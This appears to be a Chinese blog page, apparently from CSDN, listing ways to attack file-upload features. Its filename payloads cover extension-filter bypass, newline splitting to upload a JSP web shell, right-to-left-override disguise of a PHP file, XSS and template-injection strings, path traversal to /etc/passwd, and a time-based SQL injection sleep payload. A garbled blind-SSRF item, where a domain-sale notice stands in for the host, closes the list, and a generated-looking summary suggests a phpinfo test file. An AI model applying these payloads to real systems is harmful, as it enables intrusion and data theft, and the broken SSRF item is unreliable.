常见的测试文件上传方法

第一种:如果对文件类型进行了过滤只能上传JPG,PNG的话可以对文件名进行编码

例子:image.jpg的话可以改成image.jpg%23.html可能会绕过文件类型

第二种:如果还是对文件类型进行了过滤可以尝试一下换行:

例子:1.FileName=shell.jspx.

                                    jsp

         2.File

         Name=shell.jspx.jsp'

第三种:对文件修改成ip-v4.com domain is for sale | Buy with Epik.com可能会有惊喜(Blind SSRF)

第四种:尝试使用右到左覆盖,重命名上传的文件。比如说为namename.%E2%80%AEphp.jpg,现在改为name.gpj.php

第五种:文件名可能会存在XSS把文件名修改成:'"><img src=x onerror=alert(document.domain)>.extension或者 {{constructor.constructor('alert(1)')()}}.extension

第六种:可能会造成任意文件读取把文件名修改成:image.png../../../../../../../etc/passwd

第七种:可能会存在Time-Based SQLi修改文件名称:poc.js'(select*from(select(sleep(20)))a)+'.extension

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
文件上传漏洞的测试方法可以通过以下步骤进行: 1. 准备一个测试文件,可以是木马文件或其他任意文件。在测试中,可以使用php探针作为测试文件,文件名为phpinfo.php,文件内容为`<?php phpinfo(); ?>`。\[1\] 2. 进行文件上传前期盲测。这一步可以使用多个安全检测工具对应用系统进行安全扫描,以及时发现潜在漏洞并修复。\[2\] 3. 检测绕过上传漏洞常见于用户选择文件上传的场景。如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。\[3\] 综上所述,文件上传漏洞的测试方法包括准备测试文件、进行安全扫描和检测绕过上传漏洞。 #### 引用[.reference_title] - *1* *3* [【文件上传漏洞-03】前端JS检测与绕过实例—以upload-labs-1为例](https://blog.csdn.net/m0_64378913/article/details/124908011)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)](https://blog.csdn.net/weixin_54977781/article/details/122911968)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值